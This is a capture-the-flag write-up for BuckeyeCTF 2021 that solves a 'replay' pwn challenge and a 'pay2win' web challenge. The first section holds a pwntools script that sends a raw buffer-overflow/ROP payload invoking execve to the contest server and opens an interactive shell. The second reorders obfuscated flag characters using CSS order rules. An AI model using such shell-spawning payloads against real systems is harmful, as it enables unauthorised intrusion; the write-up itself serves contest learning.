# [BuckeyeCTF 2021](https://ctftime.org/event/1441) ###### tags: `ctf` {%hackmd theme-dark %} # Misc ### `replay` - Wireshark ![](https://i.imgur.com/s6KzrFl.jpg) - resend the payload - Script ```python= # cat payload.txt | cut -d " " -f1 | cut -d '"' -f2 | tr -d "\n" > payload_processed.txt from pwn import * context.log_level="debug" c = remote('misc.chall.pwnoh.io', 13371) print(c.recv()) c.send(b"\x61\x61\x61\x61\x62\x61\x61\x61\x63\x61\x61\x61\x64\x61\x61\x61\x65\x61\x61\x61\x66\x61\x61\x61\x67\x61\x61\x61\x68\x61\x61\x61\x69\x61\x61\x61\x6a\x61\x61\x61\x6b\x61\x61\x61\x6c\x61\x61\x61\x6d\x61\x61\x61\x6e\x61\x61\x61\x6f\x61\x61\x61\x70\x61\x61\x61\x71\x61\x61\x61\x72\x61\x61\x61\x73\x61\x61\x61\x74\x61\x61\x61\x75\x61\x61\x61\x76\x61\x61\x61\x77\x61\x61\x61\x78\x61\x61\x61\x79\x61\x61\x61\x7a\x61\x61\x62\x62\x61\x61\x62\x63\x61\x61\x62\x64\x61\x61\x62\x65\x61\x61\x62\x66\x61\x61\x62\x67\x61\x61\x62\x68\x61\x61\x62\x69\x61\x61\x62\x55\x11\x40\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x57\x11\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x20\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x57\x11\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a") c.interactive() ``` - Result: `buckeye{g00d_th1ng_P1E_w4s_d1s4bl3d_0n_th3_b1n4ry}` ![](https://i.imgur.com/w14tqZz.png) # Web ## pay2win - It obsucated the flag's order - js source code ```js= function plantFlag () { const ciphertext = [234, 240, 234, 252, 214, 236, 140, 247, 173, 191, 158, 132, 56, 4, 32, 73, 235, 193, 233, 152, 125, 19, 19, 237, 186, 131, 98, 52, 186, 143, 127, 43, 226, 233, 126, 15, 225, 171, 85, 55, 173, 123, 21, 147, 97, 21, 237, 11, 254, 129, 2, 131, 101, 63, 149, 61] const plaintext = ciphertext.map((x, i) => ((i * i) % 256) ^ x ^ 0x99) const flagElement = document.querySelector('#flag') plaintext.map((x, i) => { const span = document.createElement('span') span.classList.add(`flag-char-${i}`) span.textContent = String.fromCharCode(x) flagElement.appendChild(span) return span } plantFlag() ``` - css source code ```css= #flag-overlay { position: absolute; width: 100%; height: 100%; top: 0; left: 0; z-index: 5; background-color: #b5b5b5; } .flag-char-0 { order: 13; } .flag-char-1 { order: 47; } .flag-char-2 { order: 40; } .flag-char-3 { order: 49; } .flag-char-4 { order: 39; } .flag-char-5 { order: 50; } .flag-char-6 { order: 15; } .flag-char-7 { order: 26; } .flag-char-8 { order: 35; } .flag-char-9 { order: 18; } .flag-char-10 { order: 29; } .flag-char-11 { order: 44; } .flag-char-12 { order: 42; } .flag-char-13 { order: 20; } .flag-char-14 { order: 55; } .flag-char-15 { order: 32; } .flag-char-16 { order: 43; } .flag-char-17 { order: 11; } .flag-char-18 { order: 48; } .flag-char-19 { order: 14; } .flag-char-20 { order: 16; } .flag-char-21 { order: 25; } .flag-char-22 { order: 52; } .flag-char-23 { order: 4; } .flag-char-24 { order: 2; } .flag-char-25 { order: 30; } .flag-char-26 { order: 17; } .flag-char-27 { order: 21; } .flag-char-28 { order: 54; } .flag-char-29 { order: 22; } .flag-char-30 { order: 0; } .flag-char-31 { order: 38; } .flag-char-32 { order: 7; } .flag-char-33 { order: 37; } .flag-char-34 { order: 46; } .flag-char-35 { order: 45; } .flag-char-36 { order: 24; } .flag-char-37 { order: 3; } .flag-char-38 { order: 19; } .flag-char-39 { order: 31; } .flag-char-40 { order: 23; } .flag-char-41 { order: 33; } .flag-char-42 { order: 8; } .flag-char-43 { order: 41; } .flag-char-44 { order: 27; } .flag-char-45 { order: 6; } .flag-char-46 { order: 9; } .flag-char-47 { order: 28; } .flag-char-48 { order: 53; } .flag-char-49 { order: 5; } .flag-char-50 { order: 34; } .flag-char-51 { order: 51; } .flag-char-52 { order: 10; } .flag-char-53 { order: 12; } .flag-char-54 { order: 36; } .flag-char-55 { order: 1; } ``` ### Solution: - Reconstruct the flag with the order at `css` - Obsucated flag: :::info 0 10 20 30 40 50 12345678901234567890123456789012345678901234567890123456 shwl_l1_twcd14}1ry4ht3neck_t3_bs{1c_hkh_tsh3he03gy_3l_hu ::: - Got the flag with the right order: `buckeye{h0ly_sh1t_wh4t_th3_h3ck_1s_th1s_w31rd_ch4ll3ng3}` ## Result: ![](https://i.imgur.com/trRnPl2.jpg) - I solved two challenges: ![](https://i.imgur.com/pzaCzpI.jpg)